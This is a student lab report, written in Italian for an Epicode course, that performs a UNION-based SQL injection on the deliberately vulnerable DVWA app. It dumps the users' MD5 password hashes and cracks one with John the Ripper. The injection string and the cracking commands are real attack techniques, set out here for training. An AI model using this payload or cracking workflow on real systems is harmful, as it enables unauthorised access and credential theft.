

14 MARZO 2024

REPORT - EPICODE

BUILDWEEK - CS0124

PRESENTED BY

Alessandro Marasca

SQL INJECTION

Apriamo una sessione sulla **Web App DVWA** in cui settiamo la difficoltà su **LOW**

Una volta fatto l'accesso alla sezione **SQL INJECTION** utilizziamo la query:

' OR 'a'='a' UNION SELECT user, password from users -- --

Otteniamo il risultato esposto in foto: abbiamo ottenuto il riconoscimento dell'utente **Pablo Picasso** e della **password criptata**.

The screenshot shows the DVWA logo at the top. Below it, the title "Vulnerability: SQL Injection" is displayed. A form field labeled "User ID:" contains the value "' OR 'a'='a' UNION SELECT user, password from users -- --". To the right of the field is a "Submit" button. The results of the exploit are listed below the form, showing five user entries from the database:

ID	First name	Surname
admin	admin	5f4dcc3b5aa765d61d8327deb882cf99
gordonb	gordonb	e99a18c428cb38d5f260853678922e03
1337	1337	8d3533d75ae2c3966d7e0d4fcc69216b
pablo	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
smithy	smithy	5f4dcc3b5aa765d61d8327deb882cf99

JOHN THE RIPPER

Le password criptate in metodo hash hanno bisogno di essere decriptate, per questo ci sono dei tool costruiti ad hoc per facilitarne la decriptazione.

Abbiamo scelto di usare **JOHN THE RIPPER** per questa task.

Salviamo la password criptata in un file di testo sul Desktop (**pwd.txt**) e andiamo ad utilizzare il comando

john --format=raw-MD5 path

```
(kali㉿kali)-[~]
$ john --format=raw-MD5 /home/kali/Desktop/pwd.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
letmein      (?)
1g 0:00:00:00 DONE 2/3 (2024-03-11 11:25) 14.28g/s 2742p/s 2742c/s 2742C/s 123456 ..knight
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

john richiama il tool da utilizzare
--format=raw-MD5 è il comando per identificare il linguaggio da decriptare e tradurlo
path (/home/kali/Desktop/pwd.txt)
va a indicare il file da decriptare.
Osserviamo come il risultato in arancione “letmein” corrisponda alla password decriptata.
La task è stata portata a termine con successo.



Alessandro Marasca

Epicode

BUILDWEEK- CS0124

14 MARZO 2024